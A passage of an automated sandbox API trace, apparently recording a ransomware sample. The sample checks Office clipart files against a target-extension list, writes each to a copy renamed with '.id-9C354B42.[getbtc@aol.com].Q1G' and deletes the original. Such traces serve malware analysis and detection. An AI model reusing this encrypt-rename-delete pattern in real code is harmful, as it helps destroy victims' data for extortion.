lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0246.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0246.845] lstrlenW (lpString=".doc") returned 4 [0246.845] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.845] lstrlenW (lpString=".docx") returned 5 [0246.845] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.845] lstrlenW (lpString=".pdf") returned 4 [0246.845] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.845] lstrlenW (lpString=".xls") returned 4 [0246.845] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.845] lstrlenW (lpString=".xlsx") returned 5 [0246.845] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.845] lstrlenW (lpString=".ppt") returned 4 [0246.845] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0246.845] lstrlenW (lpString=".zip") returned 4 [0246.845] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.845] lstrlenW (lpString=".rar") returned 4 [0246.845] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.845] lstrlenW (lpString=".bz2") returned 4 [0246.845] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.845] lstrlenW (lpString=".7z") returned 3 [0246.845] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0246.845] lstrlenW (lpString=".dbf") returned 4 [0246.845] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0246.845] lstrlenW (lpString=".1cd") returned 4 [0246.845] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0246.845] lstrlenW (lpString=".jpg") returned 4 [0246.845] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0246.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0246.845] lstrlenW (lpString=".doc") returned 4 [0246.845] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.846] lstrlenW (lpString=".docx") returned 5 [0246.846] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.846] lstrlenW (lpString=".pdf") returned 4 [0246.846] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.846] lstrlenW (lpString=".xls") returned 4 [0246.846] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.846] lstrlenW (lpString=".xlsx") returned 5 [0246.846] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.846] lstrlenW (lpString=".ppt") returned 4 [0246.846] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0246.846] lstrlenW (lpString=".zip") returned 4 [0246.846] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.846] lstrlenW (lpString=".rar") returned 4 [0246.846] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.846] lstrlenW (lpString=".bz2") returned 4 [0246.846] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.846] lstrlenW (lpString=".7z") returned 3 [0246.846] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0246.846] lstrlenW (lpString=".dbf") returned 4 [0246.846] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0246.846] lstrlenW (lpString=".1cd") returned 4 [0246.846] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0246.846] lstrlenW (lpString=".jpg") returned 4 [0246.846] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.846] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0246.846] lstrlenW (lpString="BS01638_.WMF") returned 12 [0246.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0246.865] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=10538) returned 1 [0246.865] CloseHandle (hObject=0x3a8) returned 1 [0246.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf")) returned 0x20 [0246.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0246.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0246.872] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.872] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0246.873] GetLastError () returned 0x0 [0246.873] ReadFile (in: hFile=0x324, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x292a, lpOverlapped=0x0) returned 1 [0246.884] WriteFile (in: hFile=0x3ac, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x2930, lpOverlapped=0x0) returned 1 [0246.885] ReadFile (in: hFile=0x324, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0246.886] WriteFile (in: hFile=0x3ac, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0246.886] SetEndOfFile (hFile=0x3ac) returned 1 [0246.886] CloseHandle (hObject=0x3ac) returned 1 [0246.886] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.886] SetEndOfFile (hFile=0x324) returned 1 [0246.889] CloseHandle (hObject=0x324) returned 1 [0246.889] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0246.889] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf")) returned 1 [0246.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0246.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0246.890] lstrlenW (lpString=".doc") returned 4 [0246.890] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.890] lstrlenW (lpString=".docx") returned 5 [0246.890] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.890] lstrlenW (lpString=".pdf") returned 4 [0246.890] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.890] lstrlenW (lpString=".xls") returned 4 [0246.890] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.890] lstrlenW (lpString=".xlsx") returned 5 [0246.890] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.890] lstrlenW (lpString=".ppt") returned 4 [0246.890] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0246.890] lstrlenW (lpString=".zip") returned 4 [0246.890] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.890] lstrlenW (lpString=".rar") returned 4 [0246.890] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.890] lstrlenW (lpString=".bz2") returned 4 [0246.890] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.891] lstrlenW (lpString=".7z") returned 3 [0246.891] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0246.891] lstrlenW (lpString=".dbf") returned 4 [0246.891] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0246.891] lstrlenW (lpString=".1cd") returned 4 [0246.891] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0246.891] lstrlenW (lpString=".jpg") returned 4 [0246.891] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0246.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0246.891] lstrlenW (lpString=".doc") returned 4 [0246.891] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.891] lstrlenW (lpString=".docx") returned 5 [0246.891] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.891] lstrlenW (lpString=".pdf") returned 4 [0246.891] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.891] lstrlenW (lpString=".xls") returned 4 [0246.891] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.891] lstrlenW (lpString=".xlsx") returned 5 [0246.891] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.891] lstrlenW (lpString=".ppt") returned 4 [0246.891] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0246.891] lstrlenW (lpString=".zip") returned 4 [0246.891] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.891] lstrlenW (lpString=".rar") returned 4 [0246.891] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.891] lstrlenW (lpString=".bz2") returned 4 [0246.891] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.891] lstrlenW (lpString=".7z") returned 3 [0246.891] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0246.892] lstrlenW (lpString=".dbf") returned 4 [0246.892] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0246.892] lstrlenW (lpString=".1cd") returned 4 [0246.892] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0246.892] lstrlenW (lpString=".jpg") returned 4 [0246.892] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.892] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0246.892] lstrlenW (lpString="CLASSIC1.WMF") returned 12 [0246.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0247.539] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=2422) returned 1 [0247.539] CloseHandle (hObject=0x398) returned 1 [0247.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf")) returned 0x20 [0247.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0247.555] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.555] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0247.555] GetLastError () returned 0x0 [0247.555] ReadFile (in: hFile=0x3a0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x976, lpOverlapped=0x0) returned 1 [0247.557] WriteFile (in: hFile=0x200, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x980, lpOverlapped=0x0) returned 1 [0247.560] ReadFile (in: hFile=0x3a0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.560] WriteFile (in: hFile=0x200, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.560] SetEndOfFile (hFile=0x200) returned 1 [0247.560] CloseHandle (hObject=0x200) returned 1 [0247.560] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.560] SetEndOfFile (hFile=0x3a0) returned 1 [0247.562] CloseHandle (hObject=0x3a0) returned 1 [0247.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.585] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf")) returned 1 [0247.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0247.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0247.586] lstrlenW (lpString=".doc") returned 4 [0247.586] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.586] lstrlenW (lpString=".docx") returned 5 [0247.586] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0247.586] lstrlenW (lpString=".pdf") returned 4 [0247.586] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.586] lstrlenW (lpString=".xls") returned 4 [0247.586] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.586] lstrlenW (lpString=".xlsx") returned 5 [0247.586] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0247.586] lstrlenW (lpString=".ppt") returned 4 [0247.586] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0247.586] lstrlenW (lpString=".zip") returned 4 [0247.586] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.586] lstrlenW (lpString=".rar") returned 4 [0247.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.586] lstrlenW (lpString=".bz2") returned 4 [0247.586] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.586] lstrlenW (lpString=".7z") returned 3 [0247.586] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0247.586] lstrlenW (lpString=".dbf") returned 4 [0247.586] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0247.586] lstrlenW (lpString=".1cd") returned 4 [0247.586] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0247.586] lstrlenW (lpString=".jpg") returned 4 [0247.586] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0247.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0247.586] lstrlenW (lpString=".doc") returned 4 [0247.586] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.586] lstrlenW (lpString=".docx") returned 5 [0247.587] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0247.587] lstrlenW (lpString=".pdf") returned 4 [0247.587] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.587] lstrlenW (lpString=".xls") returned 4 [0247.587] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.587] lstrlenW (lpString=".xlsx") returned 5 [0247.587] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0247.587] lstrlenW (lpString=".ppt") returned 4 [0247.587] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0247.587] lstrlenW (lpString=".zip") returned 4 [0247.587] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.587] lstrlenW (lpString=".rar") returned 4 [0247.587] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.587] lstrlenW (lpString=".bz2") returned 4 [0247.587] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.587] lstrlenW (lpString=".7z") returned 3 [0247.587] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0247.587] lstrlenW (lpString=".dbf") returned 4 [0247.587] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0247.587] lstrlenW (lpString=".1cd") returned 4 [0247.587] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0247.587] lstrlenW (lpString=".jpg") returned 4 [0247.587] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.587] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.587] lstrlenW (lpString="DD00261_.WMF") returned 12 [0247.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0247.588] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=37974) returned 1 [0247.588] CloseHandle (hObject=0x388) returned 1 [0247.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf")) returned 0x20 [0247.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0247.588] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.588] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0247.589] GetLastError () returned 0x0 [0247.589] ReadFile (in: hFile=0x388, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x9456, lpOverlapped=0x0) returned 1 [0247.625] WriteFile (in: hFile=0x360, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x9460, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x9460, lpOverlapped=0x0) returned 1 [0247.626] ReadFile (in: hFile=0x388, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.626] WriteFile (in: hFile=0x360, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.626] SetEndOfFile (hFile=0x360) returned 1 [0247.626] CloseHandle (hObject=0x360) returned 1 [0247.626] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.626] SetEndOfFile (hFile=0x388) returned 1 [0247.628] CloseHandle (hObject=0x388) returned 1 [0247.628] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.646] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf")) returned 1 [0247.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0247.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0247.758] lstrlenW (lpString=".doc") returned 4 [0247.758] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.758] lstrlenW (lpString=".docx") returned 5 [0247.758] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.758] lstrlenW (lpString=".pdf") returned 4 [0247.758] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.759] lstrlenW (lpString=".xls") returned 4 [0247.759] lstrcmpiW (lpString1=".xls", 